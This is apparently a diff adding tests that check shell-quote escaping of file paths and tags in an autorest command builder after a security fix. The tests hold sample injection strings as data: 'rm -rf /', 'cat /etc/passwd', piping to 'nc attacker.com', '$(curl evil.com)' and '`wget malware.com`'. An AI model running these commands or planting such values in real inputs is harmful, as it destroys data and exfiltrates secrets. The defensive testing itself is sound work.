|
| 1 | +import * as assert from "assert" |
| 2 | +import { quote } from "shell-quote" |
| 3 | + |
| 4 | +// Test the shell-quote library integration to ensure our security fix works correctly |
| 5 | +test("shell escaping with quote function", () => { |
| 6 | + // Test normal filenames (should not be escaped) |
| 7 | + const normalFile = "simple-file.json" |
| 8 | + const escapedNormal = quote([normalFile]) |
| 9 | + assert.strictEqual(escapedNormal, normalFile) |
| 10 | + |
| 11 | + // Test filenames with spaces (should be quoted) |
| 12 | + const fileWithSpaces = "file with spaces.json" |
| 13 | + const escapedSpaces = quote([fileWithSpaces]) |
| 14 | + assert.strictEqual(escapedSpaces, "'file with spaces.json'") |
| 15 | + |
| 16 | + // Test dangerous shell metacharacters (should be escaped) |
| 17 | + const dangerousFile = "file;with&dangerous|chars$.json" |
| 18 | + const escapedDangerous = quote([dangerousFile]) |
| 19 | + // shell-quote uses backslash escaping for certain characters |
| 20 | + assert.ok(escapedDangerous.includes("\\;")) |
| 21 | + assert.ok(escapedDangerous.includes("\\&")) |
| 22 | + assert.ok(escapedDangerous.includes("\\|")) |
| 23 | + assert.ok(escapedDangerous.includes("\\$")) |
| 24 | +}) |
| 25 | + |
| 26 | +test("autorest command construction with dangerous inputs", () => { |
| 27 | + // Simulate the command construction logic from processViaAutoRest |
| 28 | + const autoRestPath = "/usr/bin/autorest" |
| 29 | + |
| 30 | + // Test with dangerous file paths |
| 31 | + const dangerousSwaggerPath = "/tmp/file;rm -rf /.json" |
| 32 | + const dangerousOutputFile = "output;evil&command" |
| 33 | + const dangerousTag = "tag$(evil)" |
| 34 | + |
| 35 | + // Build command like in processViaAutoRest with escaping |
| 36 | + const autoRestCmd = |
| 37 | + autoRestPath + |
| 38 | + " " + |
| 39 | + quote([dangerousSwaggerPath]) + |
| 40 | + " --v2 --tag=" + |
| 41 | + quote([dangerousTag]) + |
| 42 | + " --output-artifact=swagger-document.json --output-artifact=swagger-document.map --output-file=" + |
| 43 | + quote([dangerousOutputFile]) |
| 44 | + |
| 45 | + // Verify that dangerous parts are properly escaped/quoted |
| 46 | + // Files with spaces get quoted, dangerous chars get backslash-escaped |
| 47 | + assert.ok(autoRestCmd.includes("'/tmp/file;rm -rf /.json'")) // quoted because of spaces |
| 48 | + assert.ok(autoRestCmd.includes("output\\;evil\\&command")) // backslash-escaped |
| 49 | + assert.ok(autoRestCmd.includes("tag\\$\\(evil\\)")) // backslash-escaped |
| 50 | + |
| 51 | + // Verify that the command structure is maintained |
| 52 | + assert.ok(autoRestCmd.includes("--v2")) |
| 53 | + assert.ok(autoRestCmd.includes("--tag=")) |
| 54 | + assert.ok(autoRestCmd.includes("--output-file=")) |
| 55 | +}) |
| 56 | + |
| 57 | +test("autorest command construction without tag", () => { |
| 58 | + const autoRestPath = "/usr/bin/autorest" |
| 59 | + const swaggerPath = "/tmp/test file.json" |
| 60 | + const outputFile = "output file" |
| 61 | + const outputFolder = "/tmp/output folder" |
| 62 | + |
| 63 | + // Build command without tag (different structure) |
| 64 | + const autoRestCmd = |
| 65 | + `${autoRestPath} --v2 --input-file=${quote([swaggerPath])} --output-artifact=swagger-document.json` + |
| 66 | + ` --output-artifact=swagger-document.map --output-file=${quote([outputFile])} --output-folder=${quote([outputFolder])}` |
| 67 | + |
| 68 | + // Verify correct command structure for non-tagged case |
| 69 | + assert.ok(autoRestCmd.includes("--input-file=")) |
| 70 | + assert.ok(!autoRestCmd.includes("--tag=")) |
| 71 | + assert.ok(autoRestCmd.includes("--v2")) |
| 72 | + |
| 73 | + // Verify spaces are properly quoted |
| 74 | + assert.ok(autoRestCmd.includes("'/tmp/test file.json'")) |
| 75 | + assert.ok(autoRestCmd.includes("'output file'")) |
| 76 | + assert.ok(autoRestCmd.includes("'/tmp/output folder'")) |
| 77 | +}) |
| 78 | + |
| 79 | +test("command injection prevention", () => { |
| 80 | + // Test various command injection attempts |
| 81 | + const injectionAttempts = [ |
| 82 | + "file.json; rm -rf /", |
| 83 | + "file.json && cat /etc/passwd", |
| 84 | + "file.json | nc attacker.com 1234", |
| 85 | + "file.json $(curl evil.com)", |
| 86 | + "file.json `wget malware.com`", |
| 87 | + "file.json & background-evil-command" |
| 88 | + ] |
| 89 | + |
| 90 | + injectionAttempts.forEach(attempt => { |
| 91 | + const escaped = quote([attempt]) |
| 92 | + // Verify that the dangerous parts cannot be executed as separate commands |
| 93 | + // They should either be quoted or have dangerous chars escaped |
| 94 | + const hasDangerousUnescaped = /[^\\][;&|$`]/.test(escaped) && !escaped.includes("'") |
| 95 | + assert.ok(!hasDangerousUnescaped, `Injection attempt not properly escaped: ${attempt} -> ${escaped}`) |
| 96 | + }) |
| 97 | +}) |
| 98 | + |
| 99 | +test("edge cases and special characters", () => { |
| 100 | + // Test empty string |
| 101 | + assert.strictEqual(quote([""]), "''") |
| 102 | + |
| 103 | + // Test string with only spaces |
| 104 | + assert.strictEqual(quote([" "]), "' '") |
| 105 | + |
| 106 | + // Test string with newlines |
| 107 | + const withNewlines = "file\nwith\nnewlines.json" |
| 108 | + const escapedNewlines = quote([withNewlines]) |
| 109 | + // Should be safely handled |
| 110 | + assert.ok(typeof escapedNewlines === "string") |
| 111 | + |
| 112 | + // Test unicode and special chars |
| 113 | + const unicodeFile = "файл.json" |
| 114 | + const escapedUnicode = quote([unicodeFile]) |
| 115 | + assert.ok(escapedUnicode.includes("файл")) |
| 116 | +}) |
0 commit comments